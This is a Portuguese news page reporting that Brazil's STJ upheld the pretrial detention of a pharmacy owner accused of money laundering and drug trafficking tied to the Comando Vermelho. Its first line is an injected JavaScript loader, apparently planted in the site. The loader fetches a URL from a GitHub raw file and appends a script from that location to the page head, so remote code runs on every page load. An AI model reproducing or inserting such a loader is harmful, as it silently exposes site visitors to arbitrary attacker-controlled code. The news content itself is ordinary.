;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});
Fala meu Povo MT

Proprietário de uma farmácia associada ao Comando Vermelho teve a detenção mantida por lavagem de dinheiro

Foto: Reprodução

STJ nega habeas corpus e mantém prisão preventiva de empresário acusado de integrar organização criminosa

O Superior Tribunal de Justiça (STJ) negou o pedido de habeas corpus impetrado por P. H. B., dono de uma farmácia acusado de envolvimento com organização criminosa, lavagem de dinheiro, tráfico de drogas e associação para o tráfico no âmbito da Operação Follow the Money. Com a decisão, sua prisão preventiva foi mantida.

A defesa do empresário solicitou a revogação da prisão preventiva ao Tribunal de Justiça de Mato Grosso (TJMT), que negou o pedido sob o argumento de que a medida era necessária para garantir a ordem pública, dada a gravidade dos crimes e os indícios do vínculo do réu com uma facção criminosa. Na decisão, o TJMT declarou que “a medida segregatória imposta justifica-se perante a necessidade de interromper ou reduzir a atuação do grupo criminoso”.

Ao recorrer ao STJ, a defesa alegou que não havia fundamentos para a prisão preventiva, destacando que P. H. B. é réu primário e possui bons antecedentes. Argumentou ainda que a suspensão das atividades da farmácia e o bloqueio das contas bancárias do acusado seriam medidas suficientes para evitar a continuidade dos supostos crimes.

O relator do caso no STJ, ministro Reynaldo Soares da Fonseca, rejeitou os argumentos da defesa e manteve a decisão do TJMT. O magistrado destacou que há indícios suficientes de autoria e reforçou a necessidade da prisão preventiva para “reduzir a atuação da associação criminosa destinada à prática do tráfico de drogas e lavagem de dinheiro”. Ele também ressaltou a complexidade das investigações e a importância de impedir a continuidade das atividades do grupo criminoso.

O ministro Fonseca abordou ainda a questão da contemporaneidade da prisão, explicando que, em casos de crimes complexos, o intervalo entre a prática do crime e a decretação da prisão não é o fator determinante, e sim a necessidade atual de garantir a ordem pública e evitar a reiteração das condutas criminosas.

Por fim, o relator refutou o argumento de que a prisão preventiva seria desproporcional, afirmando que não há como antecipar qual regime de pena será imposto em caso de condenação definitiva.

 

 

Da redação com informações do Olhar Direto

Sair da versão mobile